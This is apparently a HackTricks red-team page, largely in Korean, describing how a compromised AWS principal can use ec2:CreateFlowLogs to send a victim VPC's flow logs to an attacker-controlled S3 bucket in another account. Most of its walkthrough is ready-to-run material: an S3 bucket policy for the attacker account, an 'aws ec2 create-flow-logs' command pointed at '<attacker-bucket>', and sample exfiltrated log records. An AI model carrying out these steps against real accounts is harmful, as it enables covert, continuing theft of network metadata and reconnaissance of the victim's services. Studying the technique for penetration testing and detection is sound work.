AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Summary

ec2:CreateFlowLogs를 악용하여 VPC, subnet, 또는 ENI flow logs를 공격자가 제어하는 S3 버킷으로 직접 내보냅니다. delivery role이 외부 버킷에 쓰도록 구성되면, 모니터링되는 리소스에서 관찰된 모든 연결이 피해자 계정 밖으로 스트리밍됩니다.

Requirements

  • Victim principal: ec2:CreateFlowLogs, ec2:DescribeFlowLogs, and iam:PassRole (if a delivery role is required/created).
  • Attacker bucket: S3 policy that trusts delivery.logs.amazonaws.com with s3:PutObject and bucket-owner-full-control.
  • Optional: logs:DescribeLogGroups if exporting to CloudWatch instead of S3 (not needed here).

Attack Walkthrough

  1. Attacker는 VPC Flow Logs 배달 서비스가 객체를 쓸 수 있도록 허용하는 S3 버킷 정책을 (attacker account에서) 준비합니다. 적용하기 전에 플레이스홀더를 교체하세요:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

공격자 계정에서 적용:

bash
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (compromised principal)이 attacker bucket을 대상으로 flow logs를 생성합니다:
bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

몇 분 내에, 모니터링된 VPC/subnet의 모든 ENIs에 대한 연결을 포함하는 flow log files가 attacker bucket에 나타납니다.

증거

attacker bucket에 기록된 샘플 flow log records:

text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Bucket 목록 조회 증거:

bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

영향

  • 모니터링되는 VPC/subnet/ENI에 대한 지속적인 네트워크 메타데이터 exfiltration (source/destination IPs, ports, protocols).
  • 피해자 계정 외부에서 traffic analysis, 민감한 서비스 식별 및 security group misconfigurations에 대한 잠재적 탐색을 가능하게 함.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기